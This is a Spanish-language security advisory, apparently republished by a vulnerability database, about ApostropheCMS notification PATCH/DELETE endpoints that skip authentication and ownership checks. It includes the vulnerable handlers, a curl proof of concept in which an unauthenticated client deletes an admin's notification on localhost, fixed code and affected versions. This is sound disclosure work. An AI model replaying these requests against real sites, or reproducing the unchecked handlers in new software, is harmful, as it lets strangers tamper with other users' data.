ApostropheCMS: Falta de autorización en los endpoints PATCH/DELETE de notificaciones
Resumen
El módulo de notificaciones expone los endpoints REST PATCH y DELETE, los cuales ejecutan operaciones directamente en la colección subyacente de MongoDB sin verificar si quien realiza la solicitud está autenticado o es propietario de la notificación de destino.
Como resultado, un atacante no autenticado que obtenga un ID de notificación válido puede modificar o eliminar de forma permanente la notificación de otro usuario.
Código afectado
Archivo
packages/apostrophe/modules/@apostrophecms/notification/index.js
// restApiRoutes
async patch(req, _id) {
const dismissed = self.apos.launder.boolean(req.body.dismissed);
if (dismissed) {
await self.emit('beforeSave', req, { _id, dismissed });
await self.db.updateOne(
{ _id },
{
$set: { dismissed },
$currentDate: { updatedAt: true }
}
);
}
},
async delete(req, _id) {
await self.db.deleteMany({ _id });
}
A diferencia de la ruta de notificación GET, estos manejadores no verifican:
- Autenticación (
req.user) - Propiedad (
userId === req.user._id) - Autorización o permisos
En su lugar, el _id suministrado se utiliza directamente contra la colección en bruto de MongoDB.
Causa raíz
Los endpoints REST de notificaciones realizan operaciones en la base de datos directamente usando self.db sin exigir autenticación o autorización.
Aunque el framework proporciona primitivas de permisos (req.user, comprobaciones de propiedad y apos.permission), estos endpoints nunca las invocan. Por consiguiente, cualquier solicitud que llegue a estos manejadores se procesa únicamente en función del ID de notificación proporcionado.
En comparación, la ruta de notificación GET comprueba correctamente:
if (!(req.user && req.user._id)) {
throw self.apos.error('invalid');
}
No existe una validación equivalente en los manejadores PATCH o DELETE.
Prueba de concepto
1. Iniciar sesión como administrador
curl -sS -c admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/login/context" \
-o /dev/null
curl -sS \
-b admin_cookies.txt \
-c admin_cookies.txt \
-X POST \
http://localhost:4321/api/v1/@apostrophecms/login/login \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: csrf" \
-d '{
"username":"admin",
"password":"AdminP@ssw0rd123!",
"session":true
}'
2. Crear una notificación
curl -sS \
-b admin_cookies.txt \
-X POST \
http://localhost:4321/api/v1/@apostrophecms/notification \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: csrf" \
-d '{
"message":"manual verify test",
"type":"info"
}'
Respuesta de ejemplo:
{
"noteId":"p358r7phi2w8l245ww5130uf"
}
3. Verificar que la notificación existe
curl -sS \
-b admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf"
Respuesta:
{
"notifications":[
{
"_id":"p358r7phi2w8l245ww5130uf",
"userId":"i89h844o5n3nbreis0ugusum",
"message":"manual verify test"
}
],
"dismissed":[]
}
4. Acceder al endpoint sin autenticación
Crear un nuevo cookie jar que contenga únicamente la cookie pública CSRF:
rm -f anon_cookies.txt
curl -sS \
-c anon_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/login/context" \
-o /dev/null
Luego, enviar la solicitud sin ninguna sesión autenticada:
curl -i \
-b anon_cookies.txt \
-X DELETE \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf" \
-H "X-XSRF-TOKEN: csrf"
Respuesta:
HTTP/1.1 200 OK
5. Verificar que la notificación ha sido eliminada
curl -sS \
-b admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf"
Respuesta:
{
"notifications":[],
"dismissed":[]
}
La notificación perteneciente al administrador autenticado ha sido eliminada exitosamente por un cliente no autenticado.
Impacto
Un atacante que obtenga un ID de notificación válido puede:
- Eliminar notificaciones de otros usuarios.
- Marcar como descartadas las notificaciones de otros usuarios.
- Suprimir notificaciones administrativas o relacionadas con la seguridad.
La vulnerabilidad afecta principalmente la integridad.
Aunque los ID de notificación se generan utilizando CUID2 y no se pueden adivinar en la práctica, la autorización no debe depender de la entropía del identificador. Cualquier vulnerabilidad de divulgación de información independiente o exposición de registros que revele los ID de notificación haría que este fallo fuera directamente explotable.
Corrección recomendada
Requerir autenticación antes de procesar cualquier solicitud de modificación.
Además, limitar el alcance de todas las operaciones de la base de datos al usuario autenticado.
Ejemplo:
// patch
async patch(req, _id) {
if (!req.user) {
throw self.apos.error('forbidden');
}
const dismissed = self.apos.launder.boolean(req.body.dismissed);
if (dismissed) {
await self.emit('beforeSave', req, { _id, dismissed });
const result = await self.db.updateOne(
{ _id, userId: req.user._id }, // <-- ownership check
{ $set: { dismissed }, $currentDate: { updatedAt: true } }
);
if (!result.matchedCount) {
throw self.apos.error('notfound');
}
}
},
// delete
async delete(req, _id) {
if (!req.user) {
throw self.apos.error('forbidden');
}
const result = await self.db.deleteMany({ _id, userId: req.user._id });
if (!result.deletedCount) {
throw self.apos.error('notfound');
}
}
De manera similar, actualizar el manejador PATCH para verificar tanto la autenticación como la propiedad antes de actualizar los registros de notificación.
Recomendación
Cada endpoint de modificación de notificaciones debería:
- Exigir autenticación.
- Verificar la propiedad (
userId === req.user._id). - Devolver
403 Forbiddenpara solicitudes no autorizadas. - Evitar realizar operaciones en la base de datos utilizando únicamente un
_idcontrolado por el usuario.
Las mismas comprobaciones de autorización también deben aplicarse a cualquier método auxiliar interno (como dismiss()) que modifique el estado de las notificaciones.
Qué hacer
Actualice ApostropheCMS a la versión 4.33.0 o posterior.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | apostrophe | < 4.33.0 | 4.33.0 |
Referencias
- https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vwwx-px9w-crrc
- https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce
- https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350
- https://github.com/apostrophecms/apostrophe
- https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0
- Vector CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N- Debilidad (CWE)
CWE-639, CWE-862- Plataforma
- npm
- Paquete
apostrophe- Publicada
- 20.10.2026
- Actualizado
- 20.10.2026 21:38
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - GHSA-vwwx-px9w-crrc - CC BY 4.0
Historial de vulnerabilidades: apostrophe
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 27
- Primera → última
- 09.2020 10.2026
- Sin corrección
- 4
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 2
- Alta 8
- Media 13
- Baja 4
Divulgaciones por año
- 2020: 2
- 2021: 2
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 23
-
ApostropheCMS: Falta de autorización en los endpoints PATCH/DELETE de notificaciones esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.